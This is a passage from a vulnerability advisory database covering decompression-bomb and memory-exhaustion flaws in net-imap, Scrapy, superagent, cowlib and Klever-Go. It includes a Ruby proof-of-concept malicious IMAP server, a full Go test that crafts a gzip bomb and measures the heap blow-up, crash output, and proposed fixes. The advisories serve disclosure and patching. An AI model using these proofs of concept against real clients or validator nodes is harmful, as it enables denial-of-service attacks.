copyuid_response(tag: \"*\", size: 2**32-1, text: \"too large?\")\n  \"#{tag} OK [COPYUID 1 1:#{size} 1:#{size}] #{text}\\r\\n\"\nend\n\ndef appenduid_response(tag: \"*\", size: 2**32-1, text: \"too large?\")\n  \"#{tag} OK [APPENDUID 1 1:#{size}] #{text}\\r\\n\"\nend\n\nserver = create_tcp_server\nport = server.addr[1]\nputs \"Server started on port #{port}\"\n\n# server\nstart_server do\n  sock = server.accept\n  begin\n    sock.print \"* OK test server\\r\\n\"\n    cmd = sock.gets(\"\\r\\n\", chomp: true)\n    tag = cmd.match(/\\A(\\w+) /)[1]\n    puts \"Received: #{cmd}\"\n\n    malicious_response = appenduid_response(size:)\n    puts \"Sending: #{malicious_response.chomp}\"\n    sock.print malicious_response\n\n    malicious_response = copyuid_response(size:)\n    puts \"Sending: #{malicious_response.chomp}\"\n    sock.print malicious_response\n    sock.print \"* CAPABILITY JUMBO=UIDPLUS PROOF_OF_CONCEPT\\r\\n\"\n    sock.print \"#{tag} OK CAPABILITY completed\\r\\n\"\n\n    cmd = sock.gets(\"\\r\\n\", chomp: true)\n    tag = cmd.match(/\\A(\\w+) /)[1]\n    puts \"Received: #{cmd}\"\n    sock.print \"* BYE If you made it this far, you passed the test!\\r\\n\"\n    sock.print \"#{tag} OK LOGOUT completed\\r\\n\"\n  rescue Exception =\u003e ex\n    puts \"Error in server: #{ex.message} (#{ex.class})\"\n  ensure\n    sock.close\n    server.close\n  end\nend\n\n# client\nbegin\n  puts \"Client connecting,..\"\n  imap = Net::IMAP.new(server_addr, port: port)\n  puts \"Received capabilities: #{imap.capability}\"\n  pp responses: imap.responses\n  imap.logout\nrescue Exception =\u003e ex\n  puts \"Error in client: #{ex.message} (#{ex.class})\"\n  puts ex.full_message\nensure\n  imap.disconnect if imap\nend\n```\n\nUse `ulimit` to limit the process\u0027s virtual memory.  The following example limits virtual memory to 1GB:\n```console\n$ ( ulimit -v 1000000 \u0026\u0026 exec ./poc.rb )\nServer started on port 34291\nClient connecting,..\nReceived: RUBY0001 CAPABILITY\nSending: * OK [APPENDUID 1 1:4294967295] too large?\nSending: * OK [COPYUID 1 1:4294967295 1:4294967295] too large?\nError in server: Connection reset by peer @ io_fillbuf - fd:9  (Errno::ECONNRESET)\nError in client: failed to allocate memory (NoMemoryError)\n/gems/net-imap-0.5.5/lib/net/imap.rb:3271:in \u0027Net::IMAP#get_tagged_response\u0027: failed to allocate memory (NoMemoryError)\n        from /gems/net-imap-0.5.5/lib/net/imap.rb:3371:in \u0027block in Net::IMAP#send_command\u0027\n        from /rubylibdir/monitor.rb:201:in \u0027Monitor#synchronize\u0027\n        from /rubylibdir/monitor.rb:201:in \u0027MonitorMixin#mon_synchronize\u0027\n        from /gems/net-imap-0.5.5/lib/net/imap.rb:3353:in \u0027Net::IMAP#send_command\u0027\n        from /gems/net-imap-0.5.5/lib/net/imap.rb:1128:in \u0027block in Net::IMAP#capability\u0027\n        from /rubylibdir/monitor.rb:201:in \u0027Monitor#synchronize\u0027\n        from /rubylibdir/monitor.rb:201:in \u0027MonitorMixin#mon_synchronize\u0027\n        from /gems/net-imap-0.5.5/lib/net/imap.rb:1127:in \u0027Net::IMAP#capability\u0027\n        from /workspace/poc.rb:70:in \u0027\u003cmain\u003e\u0027\n```",
  "id": "GHSA-7fc5-f82f-cx69",
  "modified": "2025-04-30T20:43:04Z",
  "published": "2025-02-10T17:42:43Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/ruby/net-imap/security/advisories/GHSA-7fc5-f82f-cx69"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-25186"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ruby/net-imap/commit/70e3ddd071a94e450b3238570af482c296380b35"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ruby/net-imap/commit/c8c5a643739d2669f0c9a6bb9770d0c045fd74a3"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ruby/net-imap/commit/cb92191b1ddce2d978d01b56a0883b6ecf0b1022"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ruby/net-imap"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/net-imap/CVE-2025-25186.yml"
    },
    {
      "type": "WEB",
      "url": "https://ruby.github.io/net-imap/Net/IMAP/AppendUIDData.html"
    },
    {
      "type": "WEB",
      "url": "https://ruby.github.io/net-imap/Net/IMAP/CopyUIDData.html"
    },
    {
      "type": "WEB",
      "url": "https://ruby.github.io/net-imap/Net/IMAP/UIDPlusData.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Possible DoS by memory exhaustion in net-imap"
}

GHSA-7J7M-V7M3-JQM7

Vulnerability from github – Published: 2024-02-16 16:07 – Updated: 2024-04-16 14:05
VLAI
Summary
Scrapy decompression bomb vulnerability
Details

Impact

Scrapy limits allowed response sizes by default through the DOWNLOAD_MAXSIZE and DOWNLOAD_WARNSIZE settings.

However, those limits were only being enforced during the download of the raw, usually-compressed response bodies, and not during decompression, making Scrapy vulnerable to decompression bombs.

A malicious website being scraped could send a small response that, on decompression, could exhaust the memory available to the Scrapy process, potentially affecting any other process sharing that memory, and affecting disk usage in case of uncompressed response caching.

Patches

Upgrade to Scrapy 2.11.1.

If you are using Scrapy 1.8 or a lower version, and upgrading to Scrapy 2.11.1 is not an option, you may upgrade to Scrapy 1.8.4 instead.

Workarounds

There is no easy workaround.

Disabling HTTP decompression altogether is impractical, as HTTP compression is a rather common practice.

However, it is technically possible to manually backport the 2.11.1 or 1.8.4 fix, replacing the corresponding components of an unpatched version of Scrapy with patched versions copied into your own code.

Acknowledgements

This security issue was reported by @dmandefy through huntr.com.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "scrapy"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.11.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "scrapy"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.8.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-3572"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-409"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-02-16T16:07:13Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Impact\n\nScrapy limits allowed response sizes by default through the [`DOWNLOAD_MAXSIZE`](https://docs.scrapy.org/en/latest/topics/settings.html#download-maxsize) and [`DOWNLOAD_WARNSIZE`](https://docs.scrapy.org/en/latest/topics/settings.html#download-warnsize) settings.\n\nHowever, those limits were only being enforced during the download of the raw, usually-compressed response bodies, and not during decompression, making Scrapy vulnerable to [decompression bombs](https://cwe.mitre.org/data/definitions/409.html).\n\nA malicious website being scraped could send a small response that, on decompression, could exhaust the memory available to the Scrapy process, potentially affecting any other process sharing that memory, and affecting disk usage in case of uncompressed response caching.\n\n### Patches\n\nUpgrade to Scrapy 2.11.1.\n\nIf you are using Scrapy 1.8 or a lower version, and upgrading to Scrapy 2.11.1 is not an option, you may upgrade to Scrapy 1.8.4 instead.\n\n### Workarounds\n\nThere is no easy workaround.\n\nDisabling HTTP decompression altogether is impractical, as HTTP compression is a rather common practice.\n\nHowever, it is technically possible to manually backport the 2.11.1 or 1.8.4 fix, replacing the corresponding components of an unpatched version of Scrapy with patched versions copied into your own code.\n\n### Acknowledgements\n\nThis security issue was reported by @dmandefy  [through huntr.com](https://huntr.com/bounties/c4a0fac9-0c5a-4718-9ee4-2d06d58adabb/).",
  "id": "GHSA-7j7m-v7m3-jqm7",
  "modified": "2024-04-16T14:05:17Z",
  "published": "2024-02-16T16:07:13Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/scrapy/scrapy/security/advisories/GHSA-7j7m-v7m3-jqm7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-3572"
    },
    {
      "type": "WEB",
      "url": "https://github.com/scrapy/scrapy/commit/71b8741e3607cfda2833c7624d4ada87071aa8e5"
    },
    {
      "type": "WEB",
      "url": "https://github.com/scrapy/scrapy/commit/809bfac4890f75fc73607318a04d2ccba71b3d9f"
    },
    {
      "type": "WEB",
      "url": "https://docs.scrapy.org/en/latest/news.html#scrapy-2-11-1-2024-02-14"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/scrapy/scrapy"
    },
    {
      "type": "WEB",
      "url": "https://huntr.com/bounties/c4a0fac9-0c5a-4718-9ee4-2d06d58adabb"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Scrapy decompression bomb vulnerability"
}

GHSA-8225-6CVR-8PQP

Vulnerability from github – Published: 2018-08-09 20:13 – Updated: 2023-09-08 23:55
VLAI
Summary
superagent vulnerable to zip bomb attacks
Details

Affected versions of superagent do not check the post-decompression size of ZIP compressed HTTP responses prior to decompressing. This results in the package being vulnerable to a ZIP bomb attack, where an extremely small ZIP file becomes many orders of magnitude larger when decompressed.

This may result in unrestrained CPU/Memory/Disk consumption, causing a denial of service condition.

Recommendation

Update to version 3.7.0 or later.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "superagent"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.7.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2017-16129"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-409"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-06-16T21:23:56Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "Affected versions of `superagent` do not check the post-decompression size of ZIP compressed HTTP responses prior to decompressing. This results in the package being vulnerable to a [ZIP bomb](https://en.wikipedia.org/wiki/Zip_bomb) attack, where an extremely small ZIP file becomes many orders of magnitude larger when decompressed. \n\nThis may result in unrestrained CPU/Memory/Disk consumption, causing a denial of service condition.\n\n\n## Recommendation\n\nUpdate to version 3.7.0 or later.",
  "id": "GHSA-8225-6cvr-8pqp",
  "modified": "2023-09-08T23:55:11Z",
  "published": "2018-08-09T20:13:01Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-16129"
    },
    {
      "type": "WEB",
      "url": "https://github.com/visionmedia/superagent/issues/1259"
    },
    {
      "type": "WEB",
      "url": "https://en.wikipedia.org/wiki/Zip_bomb"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-8225-6cvr-8pqp"
    },
    {
      "type": "WEB",
      "url": "https://www.npmjs.com/advisories/479"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "superagent vulnerable to zip bomb attacks"
}

GHSA-84F2-RP86-235P

Vulnerability from github – Published: 2026-05-13 21:32 – Updated: 2026-05-19 20:12
VLAI
Summary
cowlib: Decompression Bomb in cow_spdy:inflate/2 Allows Memory Exhaustion via Crafted SPDY Frame
Details

Improper Handling of Highly Compressed Data (Data Amplification) vulnerability in ninenines cowlib allows unauthenticated remote denial of service via memory exhaustion.

cow_spdy:inflate/2 in cowlib passes peer-supplied compressed bytes directly to zlib:inflate/2 with no output size bound. The SPDY header compression dictionary (?ZDICT) is public, and zlib compresses long runs of repeated bytes at roughly 1024:1, so a few kilobytes of SPDY frame payload can decompress to gigabytes on the BEAM heap, OOM-killing the node. A single unauthenticated SPDY frame is sufficient to trigger the condition. The parsers for syn_stream, syn_reply, and headers frame types are all affected via cow_spdy:parse_headers/2.

This issue affects cowlib from 0.1.0 before 2.16.1.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Hex",
        "name": "cowlib"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.1.0"
            },
            {
              "fixed": "2.16.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-43970"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-409"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-19T20:12:01Z",
    "nvd_published_at": "2026-05-13T19:17:25Z",
    "severity": "HIGH"
  },
  "details": "Improper Handling of Highly Compressed Data (Data Amplification) vulnerability in ninenines cowlib allows unauthenticated remote denial of service via memory exhaustion.\n\ncow_spdy:inflate/2 in cowlib passes peer-supplied compressed bytes directly to zlib:inflate/2 with no output size bound. The SPDY header compression dictionary (?ZDICT) is public, and zlib compresses long runs of repeated bytes at roughly 1024:1, so a few kilobytes of SPDY frame payload can decompress to gigabytes on the BEAM heap, OOM-killing the node. A single unauthenticated SPDY frame is sufficient to trigger the condition. The parsers for syn_stream, syn_reply, and headers frame types are all affected via cow_spdy:parse_headers/2.\n\nThis issue affects cowlib from 0.1.0 before 2.16.1.",
  "id": "GHSA-84f2-rp86-235p",
  "modified": "2026-05-19T20:12:01Z",
  "published": "2026-05-13T21:32:06Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-43970"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ninenines/cowlib/commit/16aad3fb9f81f5cda4d1706ff0c54237c619c282"
    },
    {
      "type": "WEB",
      "url": "https://cna.erlef.org/cves/CVE-2026-43970.html"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ninenines/cowlib"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/EEF-CVE-2026-43970"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "cowlib: Decompression Bomb in cow_spdy:inflate/2 Allows Memory Exhaustion via Crafted SPDY Frame"
}

GHSA-87M7-QFFR-542V

Vulnerability from github – Published: 2026-05-13 01:36 – Updated: 2026-05-29 21:57
VLAI
Summary
Klever-Go MultiDataInterceptor has remote OOM via crafted compressed P2P payload
Details

Summary

A remote, unauthenticated denial-of-service vulnerability in Batch.Decompress (data/batch/batch.go) allows any peer that participates in a topic served by MultiDataInterceptor to allocate multi-gigabyte heaps on the receiving node from a sub-50 KiB gossip payload. A single packet is sufficient to OOM-kill a validator with conventional memory provisioning. Fleet-wide application affects chain liveness.

The vulnerability was identified during an internal security review of core/process/interceptors/multiDataInterceptor.go at commit 405d01b0abbf0d3e73b4a990bd7394a01f200dc2. It is distinct from, and substantially more severe than, the throttler-slot-leak vulnerability disclosed in GHSA-74m6-4hjp-7226. Both reports cover adjacent code in the same call path; the patches must land together in one release (rc2 superseding rc1).

Two additional, lower-severity hardening issues affecting the same code path are documented in this report and remediated by the same patch. They are not independently exploitable under the default deployed anti-flood configuration and are not requested as separate CVEs.

Description

MultiDataInterceptor.ProcessReceivedMessage (core/process/interceptors/multiDataInterceptor.go:79) handles every gossip message received on the topics the interceptor is registered for. At lines 95–102 it conditionally decompresses the payload via Batch.Decompress:

if b.IsCompressed {
    err = b.Decompress(mdi.marshalizer)
    if err != nil { ... return err }
}

Batch.Decompress (data/batch/batch.go:109) delegates the gzip step to decompressGzip (data/batch/batch.go:35-53), which performs an unbounded io.ReadAll on the gzip reader:

func decompressGzip(data []byte) ([]byte, error) {
    rdata := bytes.NewReader(data)
    reader, err := gzip.NewReader(rdata)
    if err != nil { return nil, err }
    result, err := io.ReadAll(reader)   // no LimitReader, no DataSize check
    ...
}

After the gzip step succeeds, Decompress re-Unmarshals the inflated bytes back into the Batch value, again with no size cap. The attacker-set ba.DataSize field is never validated on decompression, so the lie is free.

The order of operations in ProcessReceivedMessage:

preProcessMessage              -> anti-flood by COMPRESSED size only
marshalizer.Unmarshal(&b, ..)  -> outer Batch (small, cheap)
b.Decompress(...)              -> UNBOUNDED here  (bomb explodes)
... b.Data populated with N entries ...
antiflood.CanProcessMessagesOnTopic(..., uint32(len(b.Data)), ...)

The count-budget anti-flood check at line 111 runs after Decompress completes, so no anti-flood configuration can prevent the explosion. The only gate above Decompress is preProcessMessage's byte budget, which sees only the compressed payload size and is trivially satisfied by a sub-MB bomb.

Proof of Concept

The PoC is a self-contained Go test that exercises the real data/batch.Batch.Decompress function and the production factory.ProtoMarshalizer. No mocks. Both the attacker-side construction (marshal a Batch of millions of empty entries, gzip, wrap in an outer compressed Batch) and the receiver-side path (mrs.Unmarshalreceived.Decompress(mrs)) are exactly what runs in production at the reviewed commit.

The headline test (TestC2_DecompressionBomb_ValidInner) constructs a ~48 KiB outer wire payload that decompresses to 25 million []byte entries, and samples runtime.HeapAlloc every 5 ms during Decompress to capture the peak (since the inflated buffer is freed once Decompress returns).

Test source

Place the file under playground/p2pflood/c2_decompression_bomb_test.go in a checkout of the reviewed commit, then run:

go test -v -count=1 -timeout=120s -run TestC2 ./playground/p2pflood/...
package p2pflood_test

import (
    "bytes"
    "compress/gzip"
    "runtime"
    "sync/atomic"
    "testing"
    "time"

    "github.com/klever-io/klever-go/data/batch"
    "github.com/klever-io/klever-go/tools/marshal/factory"
)

const inflatedSize = 256 << 20 // 256 MiB

// buildGzipOfZeros: streams `size` zero bytes through a gzip writer.
// A real attacker produces this offline; the streaming form here keeps
// the test's own attacker-side allocation small.
func buildGzipOfZeros(t *testing.T, size int) []byte {
    t.Helper()
    var buf bytes.Buffer
    gz := gzip.NewWriter(&buf)
    chunk := make([]byte, 1<<20)
    for written := 0; written < size; {
        n := len(chunk)
        if size-written < n {
            n = size - written
        }
        if _, err := gz.Write(chunk[:n]); err != nil {
            t.Fatalf("gzip write: %v", err)
        }
        written += n
    }
    if err := gz.Close(); err != nil {
        t.Fatalf("gzip close: %v", err)
    }
    return buf.Bytes()
}

// peakHeapDuring samples runtime.HeapAlloc every 5 ms during fn() and
// returns (peak, baseline). In-flight sampling is required because
// Decompress's internal allocations may be reclaimed by GC before the
// function returns.
func peakHeapDuring(fn func()) (peak, baseline uint64) {
    runtime.GC()
    var ms runtime.MemStats
    runtime.ReadMemStats(&ms)
    baseline = ms.HeapAlloc

    var stop atomic.Bool
    peakPtr := new(atomic.Uint64)
    peakPtr.Store(baseline)
    done := make(chan struct{})
    go func() {
        ticker := time.NewTicker(5 * time.Millisecond)
        defer ticker.Stop()
        var s runtime.MemStats
        for !stop.Load() {
            runtime.ReadMemStats(&s)
            cur := s.HeapAlloc
            for {
                old := peakPtr.Load()
                if cur <= old || peakPtr.CompareAndSwap(old, cur) {
                    break
                }
            }
            <-ticker.C
        }
        close(done)
    }()

    fn()

    stop.Store(true)
    <-done
    return peakPtr.Load(), baseline
}

// TestC2_DecompressionBomb_RawZeros: floor-of-attack demonstration.
// All-zeros inflated payload; inner Unmarshal-after-decompress fails,
// but the gzip output buffer is already allocated.
func TestC2_DecompressionBomb_RawZeros(t *testing.T) {
    mrs, err := factory.NewMarshalizer(factory.ProtoMarshalizer)
    if err != nil {
        t.Fatalf("marshalizer: %v", err)
    }

    bombStream := buildGzipOfZeros(t, inflatedSize)

    bomb := &batch.Batch{
        IsCompressed: true,
        Algo:         batch.CType_GZip,
        Stream:       bombStream,
        DataSize:     1, // a lie — Decompress ignores it
    }
    wire, err := mrs.Marshal(bomb)
    if err != nil {
        t.Fatalf("marshal: %v", err)
    }

    t.Logf("  wire payload (after Marshal): %d bytes (%.2f KiB)",
        len(wire), float64(len(wire))/1024.0)
    t.Logf("  advertised DataSize:          %d", bomb.DataSize)
    t.Logf("  actual decompressed size:     %d bytes (%.2f MiB)",
        inflatedSize, float64(inflatedSize)/(1<<20))

    bomb = nil
    bombStream = nil
    runtime.GC()

    received := &batch.Batch{}
    if err := mrs.Unmarshal(received, wire); err != nil {
        t.Fatalf("receiver outer unmarshal: %v", err)
    }
    if !received.IsCompressed {
        t.Fatalf("expected IsCompressed=true after outer unmarshal")
    }

    start := time.Now()
    var decompressErr error
    peak, baseline := peakHeapDuring(func() {
        decompressErr = received.Decompress(mrs)
    })
    elapsed := time.Since(start)

    allocated := peak - baseline
    amp := float64(allocated) / float64(len(wire))
    t.Logf("  Decompress error: %v (irrelevant — heap already allocated)", decompressErr)
    t.Logf("  peak heap during Decompress: +%d bytes (%.2f MiB)",
        allocated, float64(allocated)/(1<<20))
    t.Logf("  elapsed: %v", elapsed)
    t.Logf("  amplification: %.0fx (wire -> heap)", amp)

    if allocated < uint64(inflatedSize/2) {
        t.Fatalf("heap delta only %.2f MiB — vuln may already be patched",
            float64(allocated)/(1<<20))
    }
    if amp < 100 {
        t.Fatalf("amplification only %.1fx — expected >>100x", amp)
    }
}

// TestC2_DecompressionBomb_ValidInner: realistic ceiling — gzip stream
// decompresses to a valid marshaled Batch with N=25M empty entries.
// Decompress's internal Unmarshal succeeds and additionally allocates
// the [][]byte slice. All before any count-based anti-flood runs.
func TestC2_DecompressionBomb_ValidInner(t *testing.T) {
    mrs, err := factory.NewMarshalizer(factory.ProtoMarshalizer)
    if err != nil {
        t.Fatalf("marshalizer: %v", err)
    }

    const N = 25_000_000

    innerBatch := &batch.Batch{Data: make([][]byte, N)}
    innerWire, err := mrs.Marshal(innerBatch)
    if err != nil {
        t.Fatalf("inner marshal: %v", err)
    }
    innerBatch = nil
    runtime.GC()

    var compressed bytes.Buffer
    gz := gzip.NewWriter(&compressed)
    if _, err := gz.Write(innerWire); err != nil {
        t.Fatalf("gz write: %v", err)
    }
    if err := gz.Close(); err != nil {
        t.Fatalf("gz close: %v", err)
    }
    innerWireLen := len(innerWire)
    innerWire = nil
    runtime.GC()

    bomb := &batch.Batch{
        IsCompressed: true,
        Algo:         batch.CType_GZip,
        Stream:       compressed.Bytes(),
        DataSize:     1,
    }
    wire, err := mrs.Marshal(bomb)
    if err != nil {
        t.Fatalf("outer marshal: %v", err)
    }
    t.Logf("  inner wire (uncompressed):    %d bytes (%.2f MiB)",
        innerWireLen, float64(innerWireLen)/(1<<20))
    t.Logf("  outer wire (gzip-wrapped):    %d bytes (%.2f KiB)",
        len(wire), float64(len(wire))/1024.0)
    t.Logf("  inner -> outer compression:   %.0fx",
        float64(innerWireLen)/float64(len(wire)))

    bomb = nil
    compressed.Reset()
    runtime.GC()

    received := &batch.Batch{}
    if err := mrs.Unmarshal(received, wire); err != nil {
        t.Fatalf("receiver outer unmarshal: %v", err)
    }

    start := time.Now()
    var decompressErr error
    peak, baseline := peakHeapDuring(func() {
        // Mirrors multiDataInterceptor.go:96 exactly. Runs BEFORE the
        // count-budget anti-flood at line 111.
        decompressErr = received.Decompress(mrs)
    })
    elapsed := time.Since(start)

    allocated := peak - baseline
    amp := float64(allocated) / float64(len(wire))
    t.Logf("  Decompress returned: %v", decompressErr)
    t.Logf("  Decompressed b.Data length: %d (matches N=%d? %v)",
        len(received.Data), N, len(received.Data) == N)
    t.Logf("  peak heap during Decompress: +%d bytes (%.2f MiB)",
        allocated, float64(allocated)/(1<<20))
    t.Logf("  elapsed: %v", elapsed)
    t.Logf("  amplification: %.0fx (wire -> heap)", amp)

    if decompressErr != nil {
        t.Fatalf("Decompress unexpectedly failed: %v", decompressErr)
    }
    if len(received.Data) != N {
        t.Fatalf("inner Unmarshal lost entries: got %d want %d",
            len(received.Data), N)
    }
    if allocated < 256<<20 {
        t.Fatalf("heap delta only %.2f MiB — expected >256 MiB",
            float64(allocated)/(1<<20))
    }
    runtime.KeepAlive(received)
}

Measured output

Apple-silicon dev machine, go 1.25, against commit 405d01b0abbf0d3e73b4a990bd7394a01f200dc2:

=== RUN   TestC2_DecompressionBomb_RawZeros
      wire payload (after Marshal): 260938 bytes (254.82 KiB)
      advertised DataSize:          1
      actual decompressed size:     268435456 bytes (256.00 MiB)
      Decompress error: proto: cannot parse invalid wire-format data (irrelevant — heap already allocated)
      peak heap during Decompress: +887994584 bytes (846.86 MiB)
      elapsed: 155.79ms
      amplification: 3403x (wire -> heap)
--- PASS: TestC2_DecompressionBomb_RawZeros (0.52s)

=== RUN   TestC2_DecompressionBomb_ValidInner
      inner wire (uncompressed):    50000000 bytes (47.68 MiB)
      outer wire (gzip-wrapped):    48642 bytes (47.50 KiB)
      inner -> outer compression:   1028x
      Decompress returned: <nil>
      Decompressed b.Data length: 25000000 (matches N=25000000? true)
      peak heap during Decompress: +2218262232 bytes (2115.50 MiB)
      elapsed: 582.92ms
      amplification: 45604x (wire -> heap)
--- PASS: TestC2_DecompressionBomb_ValidInner (0.75s)

Reproduction: any commit that includes data/batch/batch.go in its current decompressGzip/Decompress form. The PoC does not depend on libp2p, the live interceptor stack, or any deployed configuration — the bug is in Batch.Decompress itself; any caller that reaches it pays for the unbounded allocation.

The PoC sources (along with a companion test for the bundled slice-prealloc finding) live under playground/p2pflood/ on the maintainer's local workstation and have not been pushed to any branch. They will be converted into a regression-test suite alongside the patch in the private fork.

Impact

A single connected peer publishing on a topic served by MultiDataInterceptor (which on a public chain includes any anonymous gossip publisher) can cause the receiving node to allocate 2+ GiB of heap in under one second per packet.

With the default deployed configuration (peerMaxInput.totalSizePerInterval: 4194304 = 4 MiB/s per peer), an attacker can ship roughly 80 such bombs per second per connected peer before tripping the per-peer byte budget. The per-peer message count limit (baseMessagesPerInterval: 140 per fastReacting interval, 1000 before blacklisting) is high enough to permit the attack to run for several seconds before any blacklist activates. By that point the node process is already OOM-killed.

Realistic attack scenarios:

  • A single attacker connected to one validator can OOM that validator in under a second (one bomb suffices on memory-constrained nodes).
  • A small number of malicious peers spread across the validator fleet can OOM the entire fleet within a single block-production interval, affecting chain liveness.
  • Eclipse-attack composition: the cost is paid before any peer reputation logic runs, so the attack works regardless of whether the receiver attributes the message to originator or relayer.

Affected Code

  • data/batch/batch.go:35-53decompressGzip, unbounded io.ReadAll
  • data/batch/batch.go:109-137Batch.Decompress, ignores DataSize, re-Unmarshals inflated bytes
  • core/process/interceptors/multiDataInterceptor.go:95-102 — call site
  • core/process/interceptors/multiDataInterceptor.go:84-94 — preceding Unmarshal step

Patches

A patch is in preparation on a private branch and will land in rc2, together with the fix for GHSA-74m6-4hjp-7226. The intended fix shape:

const maxInflatedBatch = 64 * 1024 * 1024 // 64 MiB hard ceiling; tune per topic

func decompressGzip(data []byte, max int64) ([]byte, error) {
    r, err := gzip.NewReader(bytes.NewReader(data))
    if err != nil { return nil, err }
    defer r.Close()
    lr := io.LimitReader(r, max+1)
    out, err := io.ReadAll(lr)
    if err != nil { return nil, err }
    if int64(len(out)) > max {
        return nil, ErrDecompressionTooLarge
    }
    return out, nil
}

func (ba *Batch) Decompress(m marshal.Marshalizer) error {
    if !ba.IsCompressed { return common.ErrNotCompressed }
    if ba.DataSize > maxInflatedBatch {
        return ErrDecompressionTooLarge
    }
    result, err := decompressGzip(ba.Stream, maxInflatedBatch)
    if err != nil { return err }
    if int64(len(result)) != int64(ba.DataSize) && ba.DataSize > 0 {
        return ErrDecompressedSizeMismatch
    }
    if err := m.Unmarshal(ba, result); err != nil { return err }
    ba.Stream, ba.IsCompressed = nil, false
    return nil
}

The cap value should be selected per topic. A 64 MiB ceiling preserves backward compatibility for legitimate large batches while reducing the worst-case allocation by ≈30× relative to the measured PoC and ≈400× relative to the upper bound of an uncapped attack.

A regression test based on the PoC will accompany the patch.

Workarounds

None at the configuration level. The peerMaxInput.totalSizePerInterval budget could theoretically be lowered, but as the PoC measurements show, a single bomb is already lethal on memory-constrained nodes. Patch is required.

Bundled Hardening (no separate CVE)

The following two issues were identified in the same call path during the review. They are not independently exploitable under the default deployed defaultMaxMessagesPerSec: 35000 per-topic anti-flood limit and so do not warrant their own CVEs. They are remediated by the same patch as the headline vulnerability and are documented here for transparency.

Bundled #1 — Slice pre-allocation amplification (CWE-789, CWE-770)

multiDataInterceptor.go:123 performs:

listInterceptedData := make([]process.InterceptedData, len(multiDataBuff))

len(multiDataBuff) is len(b.Data) after Unmarshal and Decompress, both of which are attacker-controlled. Under the default per-topic count budget this is bounded; a deployer who loosens that budget, or any future code path that bypasses it, would expose ≈16 bytes × attacker-chosen-N of allocation. The same patch caps len(b.Data) immediately after Unmarshal, again after Decompress, and before the make.

The unconditional component of this finding — that Decompress's internal Unmarshal populates b.Data with N []byte slice headers (24 B each) before any count-budget check runs — is captured by the headline finding's PoC.

Bundled #2 — Self-message anti-flood bypass (CWE-290, CWE-693)

baseDataInterceptor.go:32 exempts messages from anti-flood enforcement when:

bytes.Equal(m.Signature(), m.From()) &&
bytes.Equal(m.From(), bdi.currentPeerID.Bytes()) &&
fromConnectedPeer == bdi.currentPeerID

The first equality is a sentinel byte comparison, not a cryptographic check. Exploitability depends on whether the upstream libp2p stack verifies envelope signatures before reaching preProcessMessage. The patch replaces the sentinel with a defense-in-depth check and ensures throttler accounting still runs on the self-message path.

Coordination with GHSA-74m6-4hjp-7226

